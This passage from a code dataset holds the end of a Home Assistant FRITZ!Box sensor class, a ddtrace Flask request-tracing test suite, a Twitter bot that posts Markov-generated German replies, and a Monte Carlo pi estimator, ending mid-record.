FritzSensorEntityDescription,\n ) -> None:\n \"\"\"Init FRITZ!Box connectivity class.\"\"\"\n self.entity_description = description\n self._last_device_value: str | None = None\n self._attr_available = True\n self._attr_name = f\"{device_friendly_name} {description.name}\"\n self._attr_unique_id = f\"{fritzbox_tools.unique_id}-{description.key}\"\n super().__init__(fritzbox_tools, device_friendly_name)\n\n def update(self) -> None:\n \"\"\"Update data.\"\"\"\n _LOGGER.debug(\"Updating FRITZ!Box sensors\")\n\n try:\n status: FritzStatus = self._fritzbox_tools.fritz_status\n self._attr_available = True\n except FritzConnectionException:\n _LOGGER.error(\"Error getting the state from the FRITZ!Box\", exc_info=True)\n self._attr_available = False\n return\n\n self._attr_native_value = (\n self._last_device_value\n ) = self.entity_description.value_fn(status, self._last_device_value)\n", "source": "EuleMitKeule/core", "license": "Apache-2.0"} {"text": "# -*- coding: utf-8 -*-\nfrom ddtrace.compat import PY2\nfrom ddtrace.constants import ANALYTICS_SAMPLE_RATE_KEY\nfrom ddtrace.contrib.flask.patch import flask_version\nfrom ddtrace.ext import http\nfrom ddtrace.propagation.http import HTTP_HEADER_TRACE_ID, HTTP_HEADER_PARENT_ID\nfrom flask import abort\n\nfrom . import BaseFlaskTestCase\nfrom ...utils import assert_span_http_status_code\n\n\nbase_exception_name = 'builtins.Exception'\nif PY2:\n base_exception_name = 'exceptions.Exception'\n\n\nclass FlaskRequestTestCase(BaseFlaskTestCase):\n def test_request(self):\n \"\"\"\n When making a request\n We create the expected spans\n \"\"\"\n @self.app.route('/')\n def index():\n return 'Hello Flask', 200\n\n res = self.client.get('/')\n self.assertEqual(res.status_code, 200)\n self.assertEqual(res.data, b'Hello Flask')\n\n spans = self.get_spans()\n self.assertEqual(len(spans), 8)\n\n # Assert the order of the spans created\n self.assertListEqual(\n [\n 'flask.request',\n 'flask.try_trigger_before_first_request_functions',\n 'flask.preprocess_request',\n 'flask.dispatch_request',\n 'tests.contrib.flask.test_request.index',\n 'flask.process_response',\n 'flask.do_teardown_request',\n 'flask.do_teardown_appcontext',\n ],\n [s.name for s in spans],\n )\n\n # Assert span services\n for span in spans:\n self.assertEqual(span.service, 'flask')\n\n # Root request span\n req_span = spans[0]\n self.assertEqual(req_span.service, 'flask')\n self.assertEqual(req_span.name, 'flask.request')\n self.assertEqual(req_span.resource, 'GET /')\n self.assertEqual(req_span.span_type, 'web')\n self.assertEqual(req_span.error, 0)\n self.assertIsNone(req_span.parent_id)\n\n # Request tags\n self.assertEqual(req_span.get_tag('flask.endpoint'), 'index')\n self.assertEqual(req_span.get_tag('flask.url_rule'), '/')\n self.assertEqual(req_span.get_tag('http.method'), 'GET')\n self.assertEqual(req_span.get_tag(http.URL), 'http://localhost/')\n assert_span_http_status_code(req_span, 200)\n assert http.QUERY_STRING not in req_span.meta\n\n # Handler span\n handler_span = spans[4]\n self.assertEqual(handler_span.service, 'flask')\n self.assertEqual(handler_span.name, 'tests.contrib.flask.test_request.index')\n self.assertEqual(handler_span.resource, '/')\n self.assertEqual(req_span.error, 0)\n\n def test_request_query_string_trace(self):\n \"\"\"Make sure when making a request that we create the expected spans and capture the query string.\"\"\"\n @self.app.route('/')\n def index():\n return 'Hello Flask', 200\n\n with self.override_http_config('flask', dict(trace_query_string=True)):\n self.client.get('/?foo=bar&baz=biz')\n spans = self.get_spans()\n\n # Request tags\n assert spans[0].get_tag(http.QUERY_STRING) == 'foo=bar&baz=biz'\n\n def test_analytics_global_on_integration_default(self):\n \"\"\"\n When making a request\n When an integration trace search is not event sample rate is not set and globally trace search is enabled\n We expect the root span to have the appropriate tag\n \"\"\"\n @self.app.route('/')\n def index():\n return 'Hello Flask', 200\n\n with self.override_global_config(dict(analytics_enabled=True)):\n res = self.client.get('/')\n self.assertEqual(res.status_code, 200)\n self.assertEqual(res.data, b'Hello Flask')\n\n root = self.get_root_span()\n root.assert_matches(\n name='flask.request',\n metrics={\n ANALYTICS_SAMPLE_RATE_KEY: 1.0,\n },\n )\n\n for span in self.spans:\n if span == root:\n continue\n self.assertIsNone(span.get_metric(ANALYTICS_SAMPLE_RATE_KEY))\n\n def test_analytics_global_on_integration_on(self):\n \"\"\"\n When making a request\n When an integration trace search is enabled and sample rate is set and globally trace search is enabled\n We expect the root span to have the appropriate tag\n \"\"\"\n @self.app.route('/')\n def index():\n return 'Hello Flask', 200\n\n with self.override_global_config(dict(analytics_enabled=True)):\n with self.override_config('flask', dict(analytics_enabled=True, analytics_sample_rate=0.5)):\n res = self.client.get('/')\n self.assertEqual(res.status_code, 200)\n self.assertEqual(res.data, b'Hello Flask')\n\n root = self.get_root_span()\n root.assert_matches(\n name='flask.request',\n metrics={\n ANALYTICS_SAMPLE_RATE_KEY: 0.5,\n },\n )\n\n for span in self.spans:\n if span == root:\n continue\n self.assertIsNone(span.get_metric(ANALYTICS_SAMPLE_RATE_KEY))\n\n def test_analytics_global_off_integration_default(self):\n \"\"\"\n When making a request\n When an integration trace search is not set and sample rate is set and globally trace search is disabled\n We expect the root span to not include tag\n \"\"\"\n @self.app.route('/')\n def index():\n return 'Hello Flask', 200\n\n with self.override_global_config(dict(analytics_enabled=False)):\n res = self.client.get('/')\n self.assertEqual(res.status_code, 200)\n self.assertEqual(res.data, b'Hello Flask')\n\n root = self.get_root_span()\n self.assertIsNone(root.get_metric(ANALYTICS_SAMPLE_RATE_KEY))\n\n for span in self.spans:\n if span == root:\n continue\n self.assertIsNone(span.get_metric(ANALYTICS_SAMPLE_RATE_KEY))\n\n def test_analytics_global_off_integration_on(self):\n \"\"\"\n When making a request\n When an integration trace search is enabled and sample rate is set and globally trace search is disabled\n We expect the root span to have the appropriate tag\n \"\"\"\n @self.app.route('/')\n def index():\n return 'Hello Flask', 200\n\n with self.override_global_config(dict(analytics_enabled=False)):\n with self.override_config('flask', dict(analytics_enabled=True, analytics_sample_rate=0.5)):\n res = self.client.get('/')\n self.assertEqual(res.status_code, 200)\n self.assertEqual(res.data, b'Hello Flask')\n root = self.get_root_span()\n root.assert_matches(\n name='flask.request',\n metrics={\n ANALYTICS_SAMPLE_RATE_KEY: 0.5,\n },\n )\n\n for span in self.spans:\n if span == root:\n continue\n self.assertIsNone(span.get_metric(ANALYTICS_SAMPLE_RATE_KEY))\n\n def test_distributed_tracing(self):\n \"\"\"\n When making a request\n When distributed tracing headers are present\n We create the expected spans\n \"\"\"\n @self.app.route('/')\n def index():\n return 'Hello Flask', 200\n\n # Default: distributed tracing enabled\n res = self.client.get('/', headers={\n HTTP_HEADER_PARENT_ID: '12345',\n HTTP_HEADER_TRACE_ID: '678910',\n })\n self.assertEqual(res.status_code, 200)\n self.assertEqual(res.data, b'Hello Flask')\n\n # Assert parent and trace id are properly set on the root span\n span = self.find_span_by_name(self.get_spans(), 'flask.request')\n self.assertEqual(span.trace_id, 678910)\n self.assertEqual(span.parent_id, 12345)\n\n # Explicitly enable distributed tracing\n with self.override_config('flask', dict(distributed_tracing_enabled=True)):\n res = self.client.get('/', headers={\n HTTP_HEADER_PARENT_ID: '12345',\n HTTP_HEADER_TRACE_ID: '678910',\n })\n self.assertEqual(res.status_code, 200)\n self.assertEqual(res.data, b'Hello Flask')\n\n # Assert parent and trace id are properly set on the root span\n span = self.find_span_by_name(self.get_spans(), 'flask.request')\n self.assertEqual(span.trace_id, 678910)\n self.assertEqual(span.parent_id, 12345)\n\n # With distributed tracing disabled\n with self.override_config('flask', dict(distributed_tracing_enabled=False)):\n res = self.client.get('/', headers={\n HTTP_HEADER_PARENT_ID: '12345',\n HTTP_HEADER_TRACE_ID: '678910',\n })\n self.assertEqual(res.status_code, 200)\n self.assertEqual(res.data, b'Hello Flask')\n\n # Assert parent and trace id are properly set on the root span\n span = self.find_span_by_name(self.get_spans(), 'flask.request')\n self.assertNotEqual(span.trace_id, 678910)\n self.assertIsNone(span.parent_id)\n\n def test_request_query_string(self):\n \"\"\"\n When making a request\n When the request contains a query string\n We create the expected spans\n \"\"\"\n @self.app.route('/')\n def index():\n return 'Hello Flask', 200\n\n res = self.client.get('/', query_string=dict(hello='flask'))\n self.assertEqual(res.status_code, 200)\n self.assertEqual(res.data, b'Hello Flask')\n\n spans = self.get_spans()\n self.assertEqual(len(spans), 8)\n\n # Assert the order of the spans created\n self.assertListEqual(\n [\n 'flask.request',\n 'flask.try_trigger_before_first_request_functions',\n 'flask.preprocess_request',\n 'flask.dispatch_request',\n 'tests.contrib.flask.test_request.index',\n 'flask.process_response',\n 'flask.do_teardown_request',\n 'flask.do_teardown_appcontext',\n ],\n [s.name for s in spans],\n )\n\n # Assert span services\n for span in spans:\n self.assertEqual(span.service, 'flask')\n\n # Root request span\n req_span = spans[0]\n self.assertEqual(req_span.service, 'flask')\n self.assertEqual(req_span.name, 'flask.request')\n # Note: contains no query string\n self.assertEqual(req_span.resource, 'GET /')\n self.assertEqual(req_span.span_type, 'web')\n self.assertEqual(req_span.error, 0)\n self.assertIsNone(req_span.parent_id)\n\n # Request tags\n self.assertEqual(req_span.get_tag('flask.endpoint'), 'index')\n # Note: contains no query string\n self.assertEqual(req_span.get_tag('flask.url_rule'), '/')\n self.assertEqual(req_span.get_tag('http.method'), 'GET')\n # Note: contains no query string\n self.assertEqual(req_span.get_tag(http.URL), 'http://localhost/')\n assert_span_http_status_code(req_span, 200)\n\n # Handler span\n handler_span = spans[4]\n self.assertEqual(handler_span.service, 'flask')\n self.assertEqual(handler_span.name, 'tests.contrib.flask.test_request.index')\n # Note: contains no query string\n self.assertEqual(handler_span.resource, '/')\n self.assertEqual(req_span.error, 0)\n\n def test_request_unicode(self):\n \"\"\"\n When making a request\n When the url contains unicode\n We create the expected spans\n \"\"\"\n @self.app.route(u'/\u00fc\u014b\u00ef\u0109\u00f3\u0111\u0113')\n def unicode():\n return '\u00fc\u014b\u00ef\u0109\u00f3\u0111\u0113', 200\n\n res = self.client.get(u'/\u00fc\u014b\u00ef\u0109\u00f3\u0111\u0113')\n self.assertEqual(res.status_code, 200)\n self.assertEqual(res.data, b'\\xc3\\xbc\\xc5\\x8b\\xc3\\xaf\\xc4\\x89\\xc3\\xb3\\xc4\\x91\\xc4\\x93')\n\n spans = self.get_spans()\n self.assertEqual(len(spans), 8)\n\n # Assert the order of the spans created\n self.assertListEqual(\n [\n 'flask.request',\n 'flask.try_trigger_before_first_request_functions',\n 'flask.preprocess_request',\n 'flask.dispatch_request',\n 'tests.contrib.flask.test_request.unicode',\n 'flask.process_response',\n 'flask.do_teardown_request',\n 'flask.do_teardown_appcontext',\n ],\n [s.name for s in spans],\n )\n\n # Assert span services\n for span in spans:\n self.assertEqual(span.service, 'flask')\n\n # Root request span\n req_span = spans[0]\n self.assertEqual(req_span.service, 'flask')\n self.assertEqual(req_span.name, 'flask.request')\n self.assertEqual(req_span.resource, u'GET /\u00fc\u014b\u00ef\u0109\u00f3\u0111\u0113')\n self.assertEqual(req_span.span_type, 'web')\n self.assertEqual(req_span.error, 0)\n self.assertIsNone(req_span.parent_id)\n\n # Request tags\n self.assertEqual(req_span.get_tag('flask.endpoint'), 'unicode')\n self.assertEqual(req_span.get_tag('flask.url_rule'), u'/\u00fc\u014b\u00ef\u0109\u00f3\u0111\u0113')\n self.assertEqual(req_span.get_tag('http.method'), 'GET')\n self.assertEqual(req_span.get_tag(http.URL), u'http://localhost/\u00fc\u014b\u00ef\u0109\u00f3\u0111\u0113')\n assert_span_http_status_code(req_span, 200)\n\n # Handler span\n handler_span = spans[4]\n self.assertEqual(handler_span.service, 'flask')\n self.assertEqual(handler_span.name, 'tests.contrib.flask.test_request.unicode')\n self.assertEqual(handler_span.resource, u'/\u00fc\u014b\u00ef\u0109\u00f3\u0111\u0113')\n self.assertEqual(req_span.error, 0)\n\n def test_request_404(self):\n \"\"\"\n When making a request\n When the requested endpoint was not found\n We create the expected spans\n \"\"\"\n res = self.client.get('/not-found')\n self.assertEqual(res.status_code, 404)\n\n spans = self.get_spans()\n self.assertEqual(len(spans), 9)\n\n # Assert the order of the spans created\n self.assertListEqual(\n [\n 'flask.request',\n 'flask.try_trigger_before_first_request_functions',\n 'flask.preprocess_request',\n 'flask.dispatch_request',\n 'flask.handle_user_exception',\n 'flask.handle_http_exception',\n 'flask.process_response',\n 'flask.do_teardown_request',\n 'flask.do_teardown_appcontext',\n ],\n [s.name for s in spans],\n )\n\n # Assert span services\n for span in spans:\n self.assertEqual(span.service, 'flask')\n\n # Root request span\n req_span = spans[0]\n self.assertEqual(req_span.service, 'flask')\n self.assertEqual(req_span.name, 'flask.request')\n self.assertEqual(req_span.resource, 'GET 404')\n self.assertEqual(req_span.span_type, 'web')\n self.assertEqual(req_span.error, 0)\n self.assertIsNone(req_span.parent_id)\n\n # Request tags\n self.assertEqual(req_span.get_tag('http.method'), 'GET')\n self.assertEqual(req_span.get_tag(http.URL), 'http://localhost/not-found')\n assert_span_http_status_code(req_span, 404)\n\n # Dispatch span\n dispatch_span = spans[3]\n self.assertEqual(dispatch_span.service, 'flask')\n self.assertEqual(dispatch_span.name, 'flask.dispatch_request')\n self.assertEqual(dispatch_span.resource, 'flask.dispatch_request')\n self.assertEqual(dispatch_span.error, 1)\n self.assertTrue(dispatch_span.get_tag('error.msg').startswith('404 Not Found'))\n self.assertTrue(dispatch_span.get_tag('error.stack').startswith('Traceback'))\n self.assertEqual(dispatch_span.get_tag('error.type'), 'werkzeug.exceptions.NotFound')\n\n def test_request_abort_404(self):\n \"\"\"\n When making a request\n When the requested endpoint calls `abort(404)`\n We create the expected spans\n \"\"\"\n @self.app.route('/not-found')\n def not_found():\n abort(404)\n\n res = self.client.get('/not-found')\n self.assertEqual(res.status_code, 404)\n\n spans = self.get_spans()\n self.assertEqual(len(spans), 10)\n\n # Assert the order of the spans created\n self.assertListEqual(\n [\n 'flask.request',\n 'flask.try_trigger_before_first_request_functions',\n 'flask.preprocess_request',\n 'flask.dispatch_request',\n 'tests.contrib.flask.test_request.not_found',\n 'flask.handle_user_exception',\n 'flask.handle_http_exception',\n 'flask.process_response',\n 'flask.do_teardown_request',\n 'flask.do_teardown_appcontext',\n ],\n [s.name for s in spans],\n )\n\n # Assert span services\n for span in spans:\n self.assertEqual(span.service, 'flask')\n\n # Root request span\n req_span = spans[0]\n self.assertEqual(req_span.service, 'flask')\n self.assertEqual(req_span.name, 'flask.request')\n self.assertEqual(req_span.resource, 'GET /not-found')\n self.assertEqual(req_span.span_type, 'web')\n self.assertEqual(req_span.error, 0)\n self.assertIsNone(req_span.parent_id)\n\n # Request tags\n self.assertEqual(req_span.get_tag('http.method'), 'GET')\n self.assertEqual(req_span.get_tag(http.URL), 'http://localhost/not-found')\n assert_span_http_status_code(req_span, 404)\n self.assertEqual(req_span.get_tag('flask.endpoint'), 'not_found')\n self.assertEqual(req_span.get_tag('flask.url_rule'), '/not-found')\n\n # Dispatch span\n dispatch_span = spans[3]\n self.assertEqual(dispatch_span.service, 'flask')\n self.assertEqual(dispatch_span.name, 'flask.dispatch_request')\n self.assertEqual(dispatch_span.resource, 'flask.dispatch_request')\n self.assertEqual(dispatch_span.error, 1)\n self.assertTrue(dispatch_span.get_tag('error.msg').startswith('404 Not Found'))\n self.assertTrue(dispatch_span.get_tag('error.stack').startswith('Traceback'))\n self.assertEqual(dispatch_span.get_tag('error.type'), 'werkzeug.exceptions.NotFound')\n\n # Handler span\n handler_span = spans[4]\n self.assertEqual(handler_span.service, 'flask')\n self.assertEqual(handler_span.name, 'tests.contrib.flask.test_request.not_found')\n self.assertEqual(handler_span.resource, '/not-found')\n self.assertEqual(handler_span.error, 1)\n self.assertTrue(handler_span.get_tag('error.msg').startswith('404 Not Found'))\n self.assertTrue(handler_span.get_tag('error.stack').startswith('Traceback'))\n self.assertEqual(handler_span.get_tag('error.type'), 'werkzeug.exceptions.NotFound')\n\n def test_request_500(self):\n \"\"\"\n When making a request\n When the requested endpoint raises an exception\n We create the expected spans\n \"\"\"\n @self.app.route('/500')\n def fivehundred():\n raise Exception('500 error')\n\n res = self.client.get('/500')\n self.assertEqual(res.status_code, 500)\n\n spans = self.get_spans()\n self.assertEqual(len(spans), 9)\n\n # Assert the order of the spans created\n self.assertListEqual(\n [\n 'flask.request',\n 'flask.try_trigger_before_first_request_functions',\n 'flask.preprocess_request',\n 'flask.dispatch_request',\n 'tests.contrib.flask.test_request.fivehundred',\n 'flask.handle_user_exception',\n 'flask.handle_exception',\n 'flask.do_teardown_request',\n 'flask.do_teardown_appcontext',\n ],\n [s.name for s in spans],\n )\n\n # Assert span services\n for span in spans:\n self.assertEqual(span.service, 'flask')\n\n # Root request span\n req_span = spans[0]\n self.assertEqual(req_span.service, 'flask')\n self.assertEqual(req_span.name, 'flask.request')\n self.assertEqual(req_span.resource, 'GET /500')\n self.assertEqual(req_span.span_type, 'web')\n self.assertEqual(req_span.error, 1)\n self.assertIsNone(req_span.parent_id)\n\n # Request tags\n self.assertEqual(req_span.get_tag('http.method'), 'GET')\n self.assertEqual(req_span.get_tag(http.URL), 'http://localhost/500')\n assert_span_http_status_code(req_span, 500)\n self.assertEqual(req_span.get_tag('flask.endpoint'), 'fivehundred')\n self.assertEqual(req_span.get_tag('flask.url_rule'), '/500')\n\n # Dispatch span\n dispatch_span = spans[3]\n self.assertEqual(dispatch_span.service, 'flask')\n self.assertEqual(dispatch_span.name, 'flask.dispatch_request')\n self.assertEqual(dispatch_span.resource, 'flask.dispatch_request')\n self.assertEqual(dispatch_span.error, 1)\n self.assertTrue(dispatch_span.get_tag('error.msg').startswith('500 error'))\n self.assertTrue(dispatch_span.get_tag('error.stack').startswith('Traceback'))\n self.assertEqual(dispatch_span.get_tag('error.type'), base_exception_name)\n\n # Handler span\n handler_span = spans[4]\n self.assertEqual(handler_span.service, 'flask')\n self.assertEqual(handler_span.name, 'tests.contrib.flask.test_request.fivehundred')\n self.assertEqual(handler_span.resource, '/500')\n self.assertEqual(handler_span.error, 1)\n self.assertTrue(handler_span.get_tag('error.msg').startswith('500 error'))\n self.assertTrue(handler_span.get_tag('error.stack').startswith('Traceback'))\n self.assertEqual(handler_span.get_tag('error.type'), base_exception_name)\n\n # User exception span\n user_ex_span = spans[5]\n self.assertEqual(user_ex_span.service, 'flask')\n self.assertEqual(user_ex_span.name, 'flask.handle_user_exception')\n self.assertEqual(user_ex_span.resource, 'flask.handle_user_exception')\n self.assertEqual(user_ex_span.error, 1)\n self.assertTrue(user_ex_span.get_tag('error.msg').startswith('500 error'))\n self.assertTrue(user_ex_span.get_tag('error.stack').startswith('Traceback'))\n self.assertEqual(user_ex_span.get_tag('error.type'), base_exception_name)\n\n def test_request_501(self):\n \"\"\"\n When making a request\n When the requested endpoint calls `abort(501)`\n We create the expected spans\n \"\"\"\n @self.app.route('/501')\n def fivehundredone():\n abort(501)\n\n res = self.client.get('/501')\n self.assertEqual(res.status_code, 501)\n\n spans = self.get_spans()\n self.assertEqual(len(spans), 10)\n\n # Assert the order of the spans created\n self.assertListEqual(\n [\n 'flask.request',\n 'flask.try_trigger_before_first_request_functions',\n 'flask.preprocess_request',\n 'flask.dispatch_request',\n 'tests.contrib.flask.test_request.fivehundredone',\n 'flask.handle_user_exception',\n 'flask.handle_http_exception',\n 'flask.process_response',\n 'flask.do_teardown_request',\n 'flask.do_teardown_appcontext',\n ],\n [s.name for s in spans],\n )\n\n # Assert span services\n for span in spans:\n self.assertEqual(span.service, 'flask')\n\n # Root request span\n req_span = spans[0]\n self.assertEqual(req_span.service, 'flask')\n self.assertEqual(req_span.name, 'flask.request')\n self.assertEqual(req_span.resource, 'GET /501')\n self.assertEqual(req_span.span_type, 'web')\n self.assertEqual(req_span.error, 1)\n self.assertIsNone(req_span.parent_id)\n\n # Request tags\n self.assertEqual(req_span.get_tag('http.method'), 'GET')\n self.assertEqual(req_span.get_tag(http.URL), 'http://localhost/501')\n assert_span_http_status_code(req_span, 501)\n self.assertEqual(req_span.get_tag('flask.endpoint'), 'fivehundredone')\n self.assertEqual(req_span.get_tag('flask.url_rule'), '/501')\n\n # Dispatch span\n dispatch_span = spans[3]\n self.assertEqual(dispatch_span.service, 'flask')\n self.assertEqual(dispatch_span.name, 'flask.dispatch_request')\n self.assertEqual(dispatch_span.resource, 'flask.dispatch_request')\n self.assertEqual(dispatch_span.error, 1)\n self.assertTrue(dispatch_span.get_tag('error.msg').startswith('501 Not Implemented'))\n self.assertTrue(dispatch_span.get_tag('error.stack').startswith('Traceback'))\n self.assertEqual(dispatch_span.get_tag('error.type'), 'werkzeug.exceptions.NotImplemented')\n\n # Handler span\n handler_span = spans[4]\n self.assertEqual(handler_span.service, 'flask')\n self.assertEqual(handler_span.name, 'tests.contrib.flask.test_request.fivehundredone')\n self.assertEqual(handler_span.resource, '/501')\n self.assertEqual(handler_span.error, 1)\n self.assertTrue(handler_span.get_tag('error.msg').startswith('501 Not Implemented'))\n self.assertTrue(handler_span.get_tag('error.stack').startswith('Traceback'))\n self.assertEqual(handler_span.get_tag('error.type'), 'werkzeug.exceptions.NotImplemented')\n\n # User exception span\n user_ex_span = spans[5]\n self.assertEqual(user_ex_span.service, 'flask')\n self.assertEqual(user_ex_span.name, 'flask.handle_user_exception')\n self.assertEqual(user_ex_span.resource, 'flask.handle_user_exception')\n self.assertEqual(user_ex_span.error, 0)\n\n def test_request_error_handler(self):\n \"\"\"\n When making a request\n When the requested endpoint raises an exception\n We create the expected spans\n \"\"\"\n @self.app.errorhandler(500)\n def error_handler(e):\n return 'Whoops', 500\n\n @self.app.route('/500')\n def fivehundred():\n raise Exception('500 error')\n\n res = self.client.get('/500')\n self.assertEqual(res.status_code, 500)\n self.assertEqual(res.data, b'Whoops')\n\n spans = self.get_spans()\n\n if flask_version >= (0, 12, 0):\n self.assertEqual(len(spans), 11)\n\n # Assert the order of the spans created\n self.assertListEqual(\n [\n 'flask.request',\n 'flask.try_trigger_before_first_request_functions',\n 'flask.preprocess_request',\n 'flask.dispatch_request',\n 'tests.contrib.flask.test_request.fivehundred',\n 'flask.handle_user_exception',\n 'flask.handle_exception',\n 'tests.contrib.flask.test_request.error_handler',\n 'flask.process_response',\n 'flask.do_teardown_request',\n 'flask.do_teardown_appcontext',\n ],\n [s.name for s in spans],\n )\n else:\n self.assertEqual(len(spans), 10)\n\n # Assert the order of the spans created\n self.assertListEqual(\n [\n 'flask.request',\n 'flask.try_trigger_before_first_request_functions',\n 'flask.preprocess_request',\n 'flask.dispatch_request',\n 'tests.contrib.flask.test_request.fivehundred',\n 'flask.handle_user_exception',\n 'flask.handle_exception',\n 'tests.contrib.flask.test_request.error_handler',\n 'flask.do_teardown_request',\n 'flask.do_teardown_appcontext',\n ],\n [s.name for s in spans],\n )\n\n # Assert span services\n for span in spans:\n self.assertEqual(span.service, 'flask')\n\n # Root request span\n req_span = spans[0]\n self.assertEqual(req_span.service, 'flask')\n self.assertEqual(req_span.name, 'flask.request')\n self.assertEqual(req_span.resource, 'GET /500')\n self.assertEqual(req_span.span_type, 'web')\n self.assertEqual(req_span.error, 1)\n self.assertIsNone(req_span.parent_id)\n\n # Request tags\n self.assertEqual(req_span.get_tag('http.method'), 'GET')\n self.assertEqual(req_span.get_tag(http.URL), 'http://localhost/500')\n assert_span_http_status_code(req_span, 500)\n self.assertEqual(req_span.get_tag('flask.endpoint'), 'fivehundred')\n self.assertEqual(req_span.get_tag('flask.url_rule'), '/500')\n\n # Dispatch span\n dispatch_span = spans[3]\n self.assertEqual(dispatch_span.service, 'flask')\n self.assertEqual(dispatch_span.name, 'flask.dispatch_request')\n self.assertEqual(dispatch_span.resource, 'flask.dispatch_request')\n self.assertEqual(dispatch_span.error, 1)\n self.assertTrue(dispatch_span.get_tag('error.msg').startswith('500 error'))\n self.assertTrue(dispatch_span.get_tag('error.stack').startswith('Traceback'))\n self.assertEqual(dispatch_span.get_tag('error.type'), base_exception_name)\n\n # Handler span\n handler_span = spans[4]\n self.assertEqual(handler_span.service, 'flask')\n self.assertEqual(handler_span.name, 'tests.contrib.flask.test_request.fivehundred')\n self.assertEqual(handler_span.resource, '/500')\n self.assertEqual(handler_span.error, 1)\n self.assertTrue(handler_span.get_tag('error.msg').startswith('500 error'))\n self.assertTrue(handler_span.get_tag('error.stack').startswith('Traceback'))\n self.assertEqual(handler_span.get_tag('error.type'), base_exception_name)\n\n # User exception span\n user_ex_span = spans[5]\n self.assertEqual(user_ex_span.service, 'flask')\n self.assertEqual(user_ex_span.name, 'flask.handle_user_exception')\n self.assertEqual(user_ex_span.resource, 'flask.handle_user_exception')\n self.assertEqual(user_ex_span.error, 1)\n self.assertTrue(user_ex_span.get_tag('error.msg').startswith('500 error'))\n self.assertTrue(user_ex_span.get_tag('error.stack').startswith('Traceback'))\n self.assertEqual(user_ex_span.get_tag('error.type'), base_exception_name)\n", "source": "thieman/dd-trace-py", "license": "Apache-2.0"} {"text": "\"\"\"\ntweet stuff in intervals\n\"\"\"\n\nimport time\nimport datetime\n\nimport twitter\n\nfrom markov_chains import german_text\nfrom config import config_no, config_yes\n\nMAX_TWEET_LENGTH = 280\ngreeting = ' Sehr geehrte/r Anstragssteller/in.'\nending = ' MfG'\nnum_tweets = 3\n\n\nclass FoiaBot:\n def __init__(self, config):\n self.api = twitter.Api(consumer_key=config[\"consumer_key\"],\n consumer_secret=config[\"consumer_secret\"],\n access_token_key=config[\"access_token\"],\n access_token_secret=config[\"access_token_secret\"], sleep_on_rate_limit=True)\n self.screen_name = config[\"screen_name\"]\n self.model = german_text.setup_model(config[\"model_path\"])\n self.hour_to_tweet = config[\"hour_to_tweet\"]\n\n def get_favorites(self):\n favorites = self.api.GetFavorites(\n screen_name=self.screen_name, count=200)\n print(favorites)\n fav_set = set([f.id for f in favorites])\n return fav_set\n\n def get_status_to_work_on(self):\n favorites = self.get_favorites()\n\n status_list = self.api.GetMentions(count=200, trim_user=True,\n contributor_details=False, include_entities=False)\n for status in status_list:\n print(status)\n if status.id in favorites:\n continue\n if status.in_reply_to_status_id is not None:\n continue\n if not status.text.startswith('@' + self.screen_name):\n continue\n self.post_replies(status)\n\n def post_replies(self, status):\n tweets = self.create_tweets()\n print(tweets)\n success = True\n reply_to_status_id = status.id\n for tweet in tweets:\n response = self.api.PostUpdate(tweet, in_reply_to_status_id=reply_to_status_id, auto_populate_reply_metadata=True,\n exclude_reply_user_ids=False, trim_user=True, verify_status_length=False)\n if response is None:\n success = False\n break\n else:\n reply_to_status_id = response.id\n\n if success:\n self.api.CreateFavorite(status=status)\n\n def generate_sentence(self, tweet_text, chars_left, set_limit=False):\n max_length = 150\n if set_limit:\n max_length = chars_left\n\n new_sent = self.model.make_short_sentence(max_length, tries=100)\n if new_sent is not None and len(new_sent) < chars_left:\n tweet_text += ' ' + new_sent\n return tweet_text\n\n # https://stackoverflow.com/questions/7703865/going-from-twitter-date-to-python-datetime-date\n def get_date_from_twitter_string(self, created_at):\n x = time.strptime(created_at, '%a %b %d %H:%M:%S +0000 %Y')\n return datetime.datetime.fromtimestamp(time.mktime(x))\n\n def tweet_once_a_day(self):\n now = datetime.datetime.now()\n print(now.hour)\n if now.hour == self.hour_to_tweet:\n last_status_list = self.api.GetUserTimeline(screen_name=self.screen_name, count=1,\n include_rts=False, trim_user=True, exclude_replies=True)\n print(last_status_list)\n if last_status_list is None:\n return\n if len(last_status_list) == 0:\n self.post_single_tweet()\n if len(last_status_list) == 1:\n last_status = last_status_list[0]\n created_at_date = self.get_date_from_twitter_string(\n last_status.created_at)\n\n time_diff = now - created_at_date\n print('time_diff', time_diff)\n time_diff_hours = time_diff.seconds / 3600 + time_diff.days * 24\n print(time_diff_hours)\n if time_diff_hours > 20: # something is broken with the date but whatever\n self.post_single_tweet()\n\n def post_single_tweet(self):\n tweet_text = self.generate_single_tweet_text()\n response = self.api.PostUpdate(tweet_text, verify_status_length=False)\n\n def generate_single_tweet_text(self):\n tweet_text = \"\"\n while True:\n chars_left = MAX_TWEET_LENGTH - len(tweet_text)\n chars_left -= 1 # for the space\n if chars_left < 20:\n break\n if chars_left < 70:\n tweet_text = self.generate_sentence(\n tweet_text, chars_left, True)\n else:\n tweet_text = self.generate_sentence(\n tweet_text, chars_left)\n return tweet_text\n\n def create_tweets(self):\n tweets = []\n\n for i in range(num_tweets):\n tweet_text = f'{i + 1}/{num_tweets}'\n if i == 0:\n tweet_text += greeting\n\n while True:\n chars_left = MAX_TWEET_LENGTH - \\\n len(tweet_text) - 1 # because of space\n\n # ensure space for the ending\n if i + 1 == num_tweets:\n chars_left -= len(ending)\n\n if chars_left < 20:\n # at ending\n if i + 1 == num_tweets:\n tweet_text += ending\n break\n if chars_left < 70:\n tweet_text = self.generate_sentence(\n tweet_text, chars_left, True)\n else:\n tweet_text = self.generate_sentence(\n tweet_text, chars_left)\n\n tweets.append(tweet_text)\n\n return tweets\n\n def run(self):\n self.get_status_to_work_on()\n\n\ndef main():\n print('main called')\n no_bot = FoiaBot(config_no)\n print('after setting up no bot')\n yes_bot = FoiaBot(config_yes)\n print('after setting up yes bot')\n\n no_bot.run()\n print('after running no bot')\n yes_bot.run()\n print('after running yes bot')\n no_bot.tweet_once_a_day()\n yes_bot.tweet_once_a_day()\n print('after tweet once a day')\n\n\ndef lambda_handler(event, context):\n print('handler called')\n main()\n print('handler about to finish')\n\n\n# if __name__ == '__main__':\n# main()\n", "source": "jfilter/foia-bot", "license": "MIT"} {"text": "import random\n\ndef estimate_pi(sims, needles):\n trials = []\n for _ in xrange(sims):\n trials.append(simulate_pi(needles))\n\n mean = sum(trials) / sims\n return mean\n\n# use a unit square\ndef simulate_pi(needles):\n hits = 0 # how many hits we hit the circle\n for _ in xrange(needles):\n x = random.uniform(-1., 1.)\n y = random.uniform(-1, 1.)\n if x*x + y*y <= 1.0:\n hits += 1\n return 4. * (hits / float(needles))\n", "source": "domluna/fun_with_ffi", "license": 